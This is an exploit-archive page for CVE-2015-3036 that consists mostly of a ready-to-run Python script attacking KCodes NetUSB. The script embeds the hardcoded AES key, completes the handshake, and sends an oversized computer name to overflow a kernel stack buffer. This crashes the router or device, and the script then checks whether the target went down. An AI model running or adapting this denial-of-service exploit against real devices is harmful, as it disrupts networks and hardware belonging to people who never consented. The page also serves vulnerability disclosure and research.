exploit the possibilities

NetUSB Stack Buffer Overflow

NetUSB Stack Buffer Overflow
Posted Oct 10, 2015
Authored by Stefan Viehbock | Site sec-consult.com

NetUSB stack buffer overflow denial of service exploit.

tags | exploit, denial of service, overflow
advisories | CVE-2015-3036
MD5 | 208b1ef93b9b7964d1e9e55b7139989e

NetUSB Stack Buffer Overflow

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#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""

if len(sys.argv) >= 2:
try:
target = sys.argv[1]
try:
port = int(sys.argv[2])
except Exception as detail:
port = PORT_DEFAULT

#Inicialización de la conexión.
init = "\x56\x05"
#Datos aleatorios para el handshake
randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
#Nombre del equipo con 128 carácteres para provocar DoS.
computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
#Longitud del nombre del equipo - "\x80\x00\x00\x00"
lengthComputerName = struct.pack("i", DOS_BYTES);
#Sync - "\x07\x00\x00\x00"
syncOK = struct.pack("i", 7);
#Finalización de la conexión.
end = "\x01"

encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
randomDataCrypt1 = encryption_suite.encrypt(randomData)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)

print "Conectando:", target,":",port
sock.connect((target, port))
print "Conectado"
print "----------------"

print "Inicializando:", init.encode("hex")
sock.send(init)
print "Random data para cifrar por el servidor:", randomData.encode("hex")
sock.send(randomData)
print "----------------"

result = sock.recv(RECV_SIZE)
print "Random data cifrados por el servidor:", result.encode("hex")
print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
if (randomDataCrypt1 == result):
print "Handshake OK"
randomData = sock.recv(RECV_SIZE)
print "Random data a cifrar por el cliente:", randomData.encode("hex")
randomDataCrypt2 = encryption_suite.encrypt(randomData)
print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
print "----------------"
sock.send(randomDataCrypt2)
print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
sock.send(lengthComputerName)
print "Nombre del host a parear:", computerName.encode("hex")
sock.send(computerName)
print "----------------"

print "Sync: ", syncOK.encode("hex")
sock.send(syncOK)
if (sock.recv(RECV_SIZE) == syncOK):
print "Sync ok"
sock.send(end)
try:
#Esperamos unos segundos antes de conectar
time.sleep(TIMEOUT)
#Comprobamos si el dispositivo sigue vivo...
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT)
sock.connect((target, port))
print "No vulnerable"
except Exception as detail:
print "Vulnerable, exploit OK"
else:
print 'Sync error.'
except Exception as detail:
print "Error de comunicación:", detail
else:
print "Usage:", sys.argv[0], "target [port]"
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